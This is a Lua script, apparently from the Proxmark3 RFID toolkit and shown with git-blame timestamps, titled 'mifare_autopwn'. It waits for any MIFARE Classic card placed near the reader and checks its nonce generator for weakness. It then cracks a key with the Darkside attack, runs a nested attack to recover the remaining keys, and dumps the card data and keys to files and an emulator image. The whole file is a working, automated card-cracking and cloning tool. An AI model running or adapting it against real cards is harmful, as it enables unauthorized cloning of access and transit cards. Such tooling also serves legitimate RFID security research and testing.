2013-10-09 02:50:54 +08:00
|
|
|
local getopt = require('getopt')
|
|
|
|
local reader = require('read14a')
|
|
|
|
local cmds = require('commands')
|
|
|
|
|
|
|
|
example = "script run mifare_autopwn"
|
|
|
|
author = "Martin Holst Swende"
|
|
|
|
desc =
|
|
|
|
[[
|
2017-07-24 19:00:40 +08:00
|
|
|
This is a script which automates cracking and dumping mifare classic cards. It sets itself into
|
2013-10-09 02:50:54 +08:00
|
|
|
'listening'-mode, after which it cracks and dumps any mifare classic card that you
|
|
|
|
place by the device.
|
|
|
|
|
|
|
|
Arguments:
|
|
|
|
-d debug logging on
|
|
|
|
-h this help
|
|
|
|
|
|
|
|
Output files from this operation:
|
|
|
|
<uid>.eml - emulator file
|
|
|
|
<uid>.html - html file containing card data
|
|
|
|
dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
|
|
|
|
dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
|
|
|
|
|
|
|
|
]]
|
|
|
|
|
|
|
|
-------------------------------
|
|
|
|
-- Some utilities
|
|
|
|
-------------------------------
|
|
|
|
local DEBUG = false
|
|
|
|
---
|
|
|
|
-- A debug printout-function
|
2017-07-31 21:53:26 +08:00
|
|
|
local function dbg(args)
|
2013-10-09 02:50:54 +08:00
|
|
|
if DEBUG then
|
|
|
|
print(":: ", args)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
---
|
|
|
|
-- This is only meant to be used when errors occur
|
2017-07-31 21:53:26 +08:00
|
|
|
local function oops(err)
|
2013-10-09 02:50:54 +08:00
|
|
|
print("ERROR: ",err)
|
|
|
|
return nil,err
|
|
|
|
end
|
|
|
|
|
|
|
|
---
|
|
|
|
-- Usage help
|
2017-07-31 21:53:26 +08:00
|
|
|
local function help()
|
2013-10-09 02:50:54 +08:00
|
|
|
print(desc)
|
|
|
|
print("Example usage")
|
|
|
|
print(example)
|
|
|
|
end
|
|
|
|
|
|
|
|
---
|
|
|
|
-- Waits for a mifare card to be placed within the vicinity of the reader.
|
|
|
|
-- @return if successfull: an table containing card info
|
|
|
|
-- @return if unsuccessfull : nil, error
|
2017-07-31 21:53:26 +08:00
|
|
|
local function wait_for_mifare()
|
2013-10-09 02:50:54 +08:00
|
|
|
while not core.ukbhit() do
|
|
|
|
res, err = reader.read1443a()
|
|
|
|
if res then return res end
|
|
|
|
-- err means that there was no response from card
|
|
|
|
end
|
|
|
|
return nil, "Aborted by user"
|
|
|
|
end
|
|
|
|
|
2017-07-31 21:53:26 +08:00
|
|
|
local function nested(key,sak)
|
2013-10-10 03:37:55 +08:00
|
|
|
local typ = 1
|
2017-07-24 19:00:40 +08:00
|
|
|
if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k | Ev1 4k
|
2013-10-10 03:37:55 +08:00
|
|
|
typ = 4
|
2017-07-24 19:00:40 +08:00
|
|
|
elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k | Ev1 1K
|
2013-10-10 03:37:55 +08:00
|
|
|
typ= 1
|
|
|
|
elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
|
|
|
|
typ = 0
|
|
|
|
elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
|
|
|
|
typ = 2
|
2014-11-03 20:49:19 +08:00
|
|
|
elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
|
|
|
|
typ = 1
|
2013-10-10 03:37:55 +08:00
|
|
|
else
|
|
|
|
print("I don't know how many sectors there are on this type of card, defaulting to 16")
|
|
|
|
end
|
|
|
|
local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
|
2013-10-09 02:50:54 +08:00
|
|
|
core.console(cmd)
|
|
|
|
end
|
|
|
|
|
2017-07-31 21:53:26 +08:00
|
|
|
local function dump(uid)
|
2013-10-09 02:50:54 +08:00
|
|
|
core.console("hf mf dump")
|
|
|
|
-- Save the global args, those are *our* arguments
|
|
|
|
local myargs = args
|
|
|
|
-- Set the arguments for htmldump script
|
|
|
|
args =("-o %s.html"):format(uid)
|
|
|
|
-- call it
|
|
|
|
require('../scripts/htmldump')
|
|
|
|
|
|
|
|
args =""
|
|
|
|
-- dump to emulator
|
|
|
|
require('../scripts/dumptoemul')
|
|
|
|
-- Set back args. Not that it's used, just for the karma...
|
|
|
|
args = myargs
|
|
|
|
end
|
2017-07-31 21:53:26 +08:00
|
|
|
--
|
|
|
|
-- performs a test if tag nonce uses weak or hardend prng
|
|
|
|
local function perform_prng_test()
|
2013-10-09 02:50:54 +08:00
|
|
|
|
2017-07-31 21:53:26 +08:00
|
|
|
local isweak = core.detect_prng()
|
|
|
|
if isweak == 1 then
|
|
|
|
dbg('PRNG detection : WEAK nonce detected')
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
|
|
|
dbg('PRNG detection : HARDEND nonce detected')
|
|
|
|
return false
|
|
|
|
end
|
2013-10-09 02:50:54 +08:00
|
|
|
---
|
|
|
|
-- The main entry point
|
2017-07-31 21:53:26 +08:00
|
|
|
local function main(args)
|
2013-10-09 02:50:54 +08:00
|
|
|
|
2017-07-24 19:00:40 +08:00
|
|
|
local verbose, exit, res, uid, err, _, sak
|
2013-10-09 02:50:54 +08:00
|
|
|
local seen_uids = {}
|
2016-05-10 13:40:27 +08:00
|
|
|
local print_message = true
|
2013-10-09 02:50:54 +08:00
|
|
|
-- Read the parameters
|
|
|
|
for o, a in getopt.getopt(args, 'hd') do
|
|
|
|
if o == "h" then help() return end
|
|
|
|
if o == "d" then DEBUG = true end
|
|
|
|
end
|
|
|
|
|
|
|
|
while not exit do
|
2016-05-10 13:40:27 +08:00
|
|
|
if print_message then
|
|
|
|
print("Waiting for card or press any key to stop")
|
|
|
|
print_message = false
|
|
|
|
end
|
2013-10-09 02:50:54 +08:00
|
|
|
res, err = wait_for_mifare()
|
|
|
|
if err then return oops(err) end
|
|
|
|
-- Seen already?
|
|
|
|
uid = res.uid
|
2013-10-10 03:37:55 +08:00
|
|
|
sak = res.sak
|
2017-07-31 21:53:26 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
2013-10-09 02:50:54 +08:00
|
|
|
if not seen_uids[uid] then
|
|
|
|
-- Store it
|
|
|
|
seen_uids[uid] = uid
|
2017-07-31 21:53:26 +08:00
|
|
|
|
|
|
|
-- check if PRNG is WEAK
|
|
|
|
if perform_prng_test() then
|
|
|
|
print("Card found, commencing crack on UID", uid)
|
|
|
|
-- Crack it
|
|
|
|
local key, cnt
|
|
|
|
err, res = core.mfDarkside()
|
|
|
|
if err == -1 then return oops("Button pressed. Aborted.")
|
|
|
|
elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
|
|
|
|
elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
|
|
|
|
elseif err == -4 then return oops([[
|
|
|
|
Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
|
|
|
|
generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
|
|
|
|
elseif err == -5 then return oops("Aborted via keyboard.")
|
|
|
|
end
|
|
|
|
-- The key is actually 8 bytes, so a
|
|
|
|
-- 6-byte key is sent as 00XXXXXX
|
|
|
|
-- This means we unpack it as first
|
|
|
|
-- two bytes, then six bytes actual key data
|
|
|
|
-- We can discard first and second return values
|
|
|
|
_,_,key = bin.unpack("H2H6",res)
|
|
|
|
print("Found valid key: "..key);
|
|
|
|
|
|
|
|
-- Use nested attack
|
|
|
|
nested(key,sak)
|
|
|
|
-- Dump info
|
|
|
|
dump(uid)
|
2017-07-31 21:58:14 +08:00
|
|
|
else
|
|
|
|
print("Card found, darkside attack useless PRNG hardend on UID", uid)
|
2017-07-28 02:58:59 +08:00
|
|
|
end
|
2016-05-10 13:40:27 +08:00
|
|
|
print_message = true
|
2013-10-09 02:50:54 +08:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
-- Call the main
|
|
|
|
main(args)
|